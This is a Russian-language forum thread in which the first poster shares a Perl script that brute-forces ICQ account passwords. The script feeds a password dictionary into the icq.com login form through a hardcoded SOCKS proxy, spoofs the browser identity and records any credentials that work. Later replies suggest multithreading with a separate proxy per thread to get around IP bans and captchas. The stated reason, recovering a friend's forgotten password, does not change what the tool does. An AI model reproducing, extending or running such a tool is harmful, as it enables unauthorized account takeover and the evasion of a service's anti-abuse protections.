в виду того что, не нашел брута для linux, да еще и написанного на perl было решено написать с нуля. своей целью выбрал www.icq.com и вот что получилось: Code: #!/usr/bin/perl -lw # # bice.pl # # http icq bruteforce # # by demond # use strict; use WWW::Mechanize; use LWP::Protocol::socks; $\ = $/; my $version = '0.1'; my $uin = shift || "xxxxxxxx"; my $dict = shift || "./dict.txt"; my $socks = "socks://97.92.74.118:14523"; open(PASS, $dict) or or die "can't open file with passwords:$!"; while(<PASS>) { my $result = brute($uin,$_,$socks); if($result) { open(F, ">>biceresult.txt") or die "can't open result file:$!"; print F $result; close F; last; } } close PASS; sub brute { my $uin = shift; my $password = shift; my $socks = shift; my $mech = WWW::Mechanize->new(); $mech->agent_alias( 'Windows IE 6' ); $mech->proxy([qw(http https)] => $socks) if($socks); $mech->cookie_jar(HTTP::Cookies->new()); $mech->get("https://www.icq.com/karma/login_page.php"); my $res = $mech->submit_form( form_name => 'login', fields => { uin_email => $uin, password => $password } ); die "[-] catn't submit login form" unless $res->is_success; my @content = $mech->content(); for (@content) { if($_=~ /<body onload=\'go\(\"http\:\/\/www\.icq\.com\"\)\'>/img) {return "#".$uin."/".$password;} else {return}; } } Естественно работает он медленно! Но как его ускорить я пока не знаю. Надо еще добавить выбор сокса из списка (думаю сделать рандомный выбор из имеющегося списка). Есть еще какие-нибудь предложения по добавлению функциональности? или это дешевле "выбросить на помойку"? Может кто-то подскажет стоящий брут, удовлетворяющий моим требования. PS писал для подбора пароля к одному единственному uin, хозяин которого просто забыл его, поэтому выбора uin нет.
1) ОЧЕНЬ медленно без многопточности 2) а с многопотосностью там вроде бан по ип...или капча..не помню уже делаем вывод - НА**Й никому не надо
многопоточность это мысль. можно для каждого потока использовать свой socks, что должно предотвратить блокировку оп ip.
